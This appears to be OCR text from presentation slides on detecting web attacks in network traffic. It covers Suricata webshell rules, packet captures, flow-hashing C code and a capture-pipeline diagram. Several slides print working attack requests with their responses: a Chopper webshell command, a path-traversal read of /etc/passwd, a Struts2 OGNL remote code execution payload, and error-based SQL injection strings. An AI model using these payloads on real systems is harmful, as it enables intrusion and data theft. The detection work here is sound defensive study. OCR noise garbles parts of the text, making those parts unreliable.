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% libcaypto-1_1.dll
| libsal-1_1.dll

% mswizr120.dll

. ® | rdp Ican.exe

» | % ssle ay32.dll

6 2675 52 40
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Fastjson rce

E—HFAjava.lang.classhn & B2 £ £ EImappingsH, £

\—*

JEY=)

S EH 1% Mmappings

:\Oracle \MIDDLE™1 \WLSERU™1 .3\server\lib\uwebhlogic_sp. jar;C:\Orac le \MIDDLE™ \ULSFE
J™ .3\server\lib\uehlogic. jar;C:\Oracle \MIDDLE™1 \nodules\features\ueblogic.s - -
p.modules_10.3.6.0. jar;C:\Oracle \MIDDLE™1 \WLSERU™ .3\server\lib\uvehservices. jar E i S

C:\Oracle \MIDDLE™ \modules \ORGAPA™ .1/1ib/ant-all. jar;C:\Orac le \MIDDLE™ \nodule R ) HEE(WV (1Y}

\NETSFA™1.@_1/1ib/ant-contrib. jar;" I

ATH="C:\Oracle \MIDDLE™1 \patch_wls1836\prof iles\default\native ;C: \Orac le \MIDDLE"
N\patch_ocp3?1\profiles\default\native;C:\Oracle\MIDDLE™1\WLSERVU™1 .3 \server\nati

I_ Backspace

2 \win\32;C: \Orac le \MIDDLE™1 \WLSERU™1 .3 \server\hin;C: \Orac le \MI DDLE™1 \modules \OR

PA™1 .1\bin;C: \Orac 1e \MIDDLE™1 \JROCKI 4 .81 \jre \} Orac 1e \MI DDLE™1 \JROCKI 1 w 8

1\bin;C: \UINDOU“ ystem32;C: \WINDOUS ; C: \WINDOWS \System32\Uhen;C: \Orac le \MI DDL

MR 5
T\WLSERU™ .3 \server\native\win\32\oci%?20_8"

ns 2

yur environment has bheen set.

:\Oracle\Middlevare\wlserver_10.3\server\bin>java wehlogic.version [T

ehlogic Servelr 10.3.6.0.190416 PSU Patch for BUG292B4678 Mon Feb 4 02:06:33 PS
2019

ehlogic Server 10.3.6.8 Tue Nov 15 @8:52:36 PST 2011 1441056

se ‘webhlogic.version —verhose’

to get subsystem information

¢ 'weblogic.utils.Versions’ to get version information for all modules

Weblogic rce
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alert http any any -> any any

(msg: "webshell caidao php"; flow:established;
content:"POST";http method; content:".php"; http uri;
content:"base64 decode"; http client body;
classtype:shellcode-detect; sid:3016009; rev:1;
metadata:by alOne;)

alert http SEXTERNAL NET any -> $HOME NET any (msg:
"China hacker tools caidao response - column directory";
flow: established,to client; content:"200";

http stat code; content:!"<html>"; http server body;
content:"|2d 3e|"; http server body; depth:2;
pcre:"/[\w\d]+\.\w{2,3}\s+\d{4}-\d{2}-\d{2}\s[\d:]
{8}/RQ"; classtype:shellcode-detect; sid: 3016010; rev:
l; metadata:created at 2018 09 13,by alOne; )
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SCHE T imEMISEiES
B . o EYRBEE B

POST /chopper.jsp HTTP/1.1

User-Agent: Java/1.8.0_144

Host: 172.16.55.196:8080

Accept: text/html, image/gif, 1mage/jpeg, *; (=.2, *x/%; (=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 180

ax

joychou=1&acti1on=M&z1=%2Fccmd&z2=cd+%2Fd+%22(%3A%5CUsers%5Czhangx1n1%5CDesktop%s5Capache-tomcat-8.0.50%5Cwebapps%s5CRO0T%5(%22%26whoami%26echo+%5B5%5D
%26Ccd%26echo+%5BE%5D&code=GB2312HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=DBE02178650D7C57D81C8A30EQ38F9CA; Path=/; HttpOnly

Content-Type: text/html;charset=GB2312

Content-Length: 109

Date: Fri, 13 Apr 2018 04:03:22 GMT

—>|win-pn8er4e538a\zhangxinl

[S]
C:\Users\zhangxinl\Desktop\apache-tomcat-8.0.50\webapps\ROOT

[E]

| <=
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e ISCHEEEE

A B ¢ © RE Qe=mEF L S H QA Q Q¥
tcp.stream eq O X -] Expression..  +

No. Time Source Destination Protocol Length Info

= 1l 0.000000 172.16.55.200 172.16.55.196 TCP 74 42606 - 8080 [SYN] Seq=0 Win=29200 Len=.
2 0.000370 172.16.55.196 172.16.55.200 TCP 74 8080 - 42606 [SYN, ACK] Seq=0 Ack=1 Win..
3 0.000410 1/2.16.55.200 172.16.55.196 TCP 66 42606 - 8080 [ACK] Seq=1 Ack=1 Win=2931..
4 0.000676 172.16.55.200 172.16.55.196 TCP 306 [TCP segment of a reassembled PDU]
5 0.000828 172.16.55.200 172.16.55.196 HTTP POST /chopper.jsp HTTP/1.1 (applicatio..
6 0.001144 1/72.16.55.196 172.16.55.200 TCP 8080 - 42606 [ACK] Seg=1 Ack=421 Win=66..

o / 0.050868 17/2.16.55.196 172.16.55.200 HTTP 394 HTTP/1.1 200 OK (text/html)

— 8 0.050890 1/2.16.55.200 172.16.55.196 TCP 66 42606 - 8080 [ACK] Seq=421 Ack=329 Win=..

Frame 5: 246 bytes on wire (1968 bits), 246 bytes captured (1968 bits)

Ethernet II, Src: Vmware 0c:33:4b (00:0c:29:0c:33:4b), Dst: Vmware 6b:72:3f (00:0c:29:6b:72:3f)
Internet Protocol Version 4, Src: 172.16.55.200, Dst: 172.16.55.196

Transmission Control Protocol, Src Port: 42606, Dst Port: 8080, Seq: 241, Ack: 1, Len: 180

[2 Reassembled TCP Segments (420 bytes): #4(240), #5(180)]

Hypertext Transfer Protocol

HTML Form URL Encoded: application/x-www—form-urlencoded

vy vy vy vYyYvYYvYyYY
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4 *@Eyirjlllb

HRiEtcpotH- > BV I5KERHMNA(S RN ZX]

4 =B MIGQ@@E':E?Q_!’ |®\QQE /*x FRhash x/

u_inted4_t hash_key = tcp_hdr->src_port + tcp_hdr->dst_port + ipv4_hdr->src_addr + ipv4_hdr->dst_addr;

" | tcp.stream eq 0 ~) ~| Expression.. +
No. Time Source Destination Protocol Length Info . _ _ . _ _ )
1 0.900000 172.16.55.200 172.16.55.196 TCP 74 42606 - 8080 [SYN] Seq=0 Win=29200 Len=.. flow_t .-+.1|‘}0w (hash_key, ipv4_hdr->src_addr, tcp_hdr->src_port, ipv4_hdr->dst_addr, tcp_hdr->dst_port);
2 0.000370 172.16.55.196 172.16.55.200 TCP 74 8080 - 42606 [SYN, ACK] Seq=0 Ack=1 Win. if(flow != )
3 0.000416 172.16.55.200 172.16.55.196 TCP 66 42606 - 8080 [ACK] Seq=1 Ack=1 Win=2931.. {
4 0.000676 172.16.55.200 172.16.55.196 TCP 306 [TCP segment of a reassembled PDU] hit_flag HIT_FLOW,;
5 0.000828 .16.55. .16.55. POST /chopper.jsp HTTP/1.1 (applicatio.. }
8 Walllthiet, [42a Mndde 2922 S else if((CAP_TCP == app_out.cap_mode) && (tcp_hdr—>tcp_flags & TH_SYN) && (tcp_hdr->tcp_flags & TH_ACK))
7 0.050868 172.16.55.196 172.16.55.200 HTTP 394 HTTP/1.1 200 0K (text/html) {
8 0.050890 172.16.55.200 172.16.55.196 TCP 66 42606 - 8080 [ACK] Seq=421 Ack=329 Win=..
hit_flag = HIT_TCP_SYN;
}
else if(CAP_HTTP == app_out.cap_mode && tcp_dl !'= 0)
» Frame 5: 246 bytes on wire (1968 bits), 246 bytes captured (1968 bits) {
» Ethernet II, Src: Vmware @c:33:4b (00:0c:29:0c:33:4b), Dst: Vmware 6b:72:3f (00:0c:29:6b:72:3f) charx cp = (mbuf, charx, data_offset);
» Internet Protocol Version 4, Src: 172.16.55.200, Dst: 172.16.55.196 if( (cp, tcp_dl) != HTTP_MT_NONE )
» Transmission Control Protocol, Src Port: 42606, Dst Port: 8080, Seq: 241, Ack: 1, Len: 180 {
» [2 Reassembled TCP Segments (420 bytes): #4(240), #5(180)] hit_flag = HIT_HTTP_REQUEST;
~ Hypertext Transfer Protocol } . . .
» HTML Form URL Encoded: application/x-www—form-urlencoded
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Flow, Stream, Packetfs)%E 3| —4E%2H.

¥

{4 hash(PY 7T 20 ) 7T
FLOW HASH TABLE

[ 75 2K Y s flow

Master lcore

Slave |core
For process packets

Y
I

Wi itflow t15 5403
FLOW HASH TABLE I

WML KL, AR el it a2
it (afka Or #43) e » "
' (Il &t packet_t717 55 pkt
SR I RURER SR R A i =
s Slave Icore Slave lcore Slave Icore
Mgl LAEERE For process packets For kafka For kafka l
VeI T

C IR RS

PP

1

TCPU 54

cccccc

1 Ehkafka 4

T pkt{E #lflowl)stream |

(I 3K: stream src
WY : stream dst)

A
S Al o f
2 3 4r M FIN or RST
PR ES N T A 7 3 4r #1 !
Y v
User space : tstream | {7 41
pktHL T ¥4 {Lhp
Kernel space
14 -ferx i
queuel queue2 | eeeee queueN "H"‘:lﬁﬁi fH r_
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4. xR

GET /site/index.php?page=../../../../etc/passwd HTTP/1.1

Host, | H N N

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q9=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;q=0.3,en;qg=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

IR EF I

HTTP/1.1 200 OK

Date: Mon, @5 Aug 2019 09:32:24 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 641

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

games :Xx:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news :x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin

- -
- E - L] - L]
(L L [ K s — ele v [ ’ L L . [ ’ [ ] dale L [ |
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POST /0OnlineServer/LoginAction.action HTTP/1.1

Cookie: "m W ~ .

Content-Type: %{(#nike="multipart/form-data').(#dm=@ognl.0OgnlContext@DEFAULT_MEMBER_ACCESS) . (#_memberAccess?(#_memberAccess=#dm) : ((#container=#context['com.
opensymphony . xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackag
eNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="RRdouale') . (#iswin=(@java.lang.System@getProperty('os.na
me').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe',"'/c' ,#cmd}:{'/bin/bash’,'-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErr
orStream(true)). (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.I0Ut1i1ls@copy
(#process.getInputStream(),#ros)).(#ros.flush())}

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_151

Host: u n

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2

Connection: keep-alive

Content-Length: 0@

STRUTS2{XH8HR 1T

HTTP/1.1 200 OK

Server: Tengine/1.5.2

Date: Sat, @3 Aug 2019 07:28:53 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: . N | N | u H B» Path=/0nlineServer

625

eth@ Link encap:Ethernet HWaddr F@:4D:A2:3C:BB:E2
inet addr:192.168.15.10 Bcast:192.168.15.255 Mask:255.255.255.0
inet6 addr: fe80::f24d:a2ff:fe3c:bbe2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2866882415 errors:@ dropped:277 overruns:@ frame:0
TX packets:2447216376 errors:@ dropped:@ overruns:@ carrier:0
collisions:@ txqueuelen:1000
RX bytes:2701885255076 (2.4 TiB) TX bytes:1117475648358 (1.0 TiB)
Interrupt:178 Memory:e6000000-c6012800
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4. xR

GET ™~ . m Bsort%5BO%5D=0&sort%5B1%5D=08&sort¥5B2%5D=0&sort%5B3%5D=08&sort%¥5B4%5D=0&date=88888&audit_user=hacker'%200R%20( SELECT¥201%20FROM(SELECT%
2QCOUNT(*), CONCAT((SELECT%20(SELECT¥2@CONCAT(@x5e5e5e,unhex(Hex(cast(database()%20as¥%2@char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA . TABLES%20LIMIT%200,1),
floor(rand(0)*2))x%20FROM%2QINFORMATION_SCHEMA.TABLES¥%2@GROUP%20BY%20x)a)%200R%20'z1'="1z HTTP/1.1

Accept: */*

Cookie: Il Il N H N M SPN%25P7%2504%25S3%25Q0%25Q0GRF (%261 e%3Dp2IwYGNKWGD jpKRhL29g%26m%3DZGZOWGWOWGWOWGWOWGWOWGWOZmZ1%26q1 d%3D83502068%261m%
3D1_t01leed86091e8e24304%26src¥%3Dpcw_open_app%26t%3D1; T=s%3D947c2b4ade453978c9%e647ec97cear759%26t%3D1463537269%261m¥3D3-0%261f%3D4%26sk%3Dea36f23fa52ceb@f351
09ead44772426%26mt%3D1463537269%26rc%3D%26v%3D2 . 0%26a%3D1 ;

User-Agent: Mozilla/5.@ (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.3¢ N

Cache-Control: no-cache

Host: BN BN s =

SQLIEABE

HTTP/1.1 200 OK

Server: openresty/1.13.6.1

Date: Wed, @7 Aug 2019 14:08:41 GMT

Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

Connection: close

Access-Control-Allow-0Origin: http://127.0.0.1:5050
Access-Control-Allow-Methods: GET,POST,OPTIONS
Access-Control-Allow-Credentials: true

886

{"errno" :23000,"errmsg" : "SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'AAAqudit_platformAAAl' for key 'group_key'\nThe SQL being ex
ecuted was: SELECT * FROM audit_stat where audit_date = '88888' and audit_user="hacker' OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(C(SELECT (SELECT CONCAT(@x5
e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(®)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY
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Ko ZE=|nil &R 84858 2 5 TN
1750245, KL KFIAEF 17 510657, KIsqliF
fi At i
® ® ®

1750459, KLt Esql
VR AN

|

% GET /host/getlist?page=1&1limit=108&sort=id+asc,(SELECT%201%20FROM(SELECT%20COUNT(*), CONCAT((SELECT%2@(SELECT%2@0CONCAT(@x5e5e5¢e, unhex(Hex(cast(database()%20a
s¥%2@char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA . TABLES%2QLIMIT%200,1), floor(rand(@)*2))x%20FROM%20INFORMATION_SCHEMA . TABLES%20GROUP%20BY%20x)a) HTTP/1.1
Accept: */*

Cookie: 7 Timmmis acimcasas-wmefl  EEETE NN NN SN WaE BEG%261e%3Dp2IwYGNKWGDjpKRhL29g%26m¥%3DZ( Em mmuEm mmmms wmowmc W WG (%3D83502068%261m%
3D1_t0@leed86091e8e24304%2( N N HEH EH H s 08 "wfi'@ i 26t%3D1463__. N HE H MEEE BN B B h36f23fa52ceb@f351
09%ead44772426%2oim HE B B H N [ L}

User-Agent: " " m . ‘| ' - .= m |

Cache-Control: no-cache

Host: W Il

SQLIEANEE

HTTP/1.1 50@ Internal Server Error
X-Powered-By: Express

server: nginx/1.2.9

date: Tue, @6 Aug 2019 09:06:28 GMT
content-type: text/html; charset=UTF-8
transfer-encoding: chunked

connection: close

Vary: Accept-Encoding

95e

<div style="border:1px solid #990000;padding-left:20px;margin:@ @ 10px @;">

<h4>A PHP Error was encountered</h4>

<p>Severity: Warning</p>

<p>Message: mysqli::query(): (23000/1062): Duplicate entry 'AAAcactusAAAl' for key 'group_key'</p>
<p>Filename: mysqli/mysqli_driver.php</p>

<p>Line Number: 305</p>

<p>Backtrace:</p>

17 50957, KIsqliF

y»

2 HY database % 3E

a

SN
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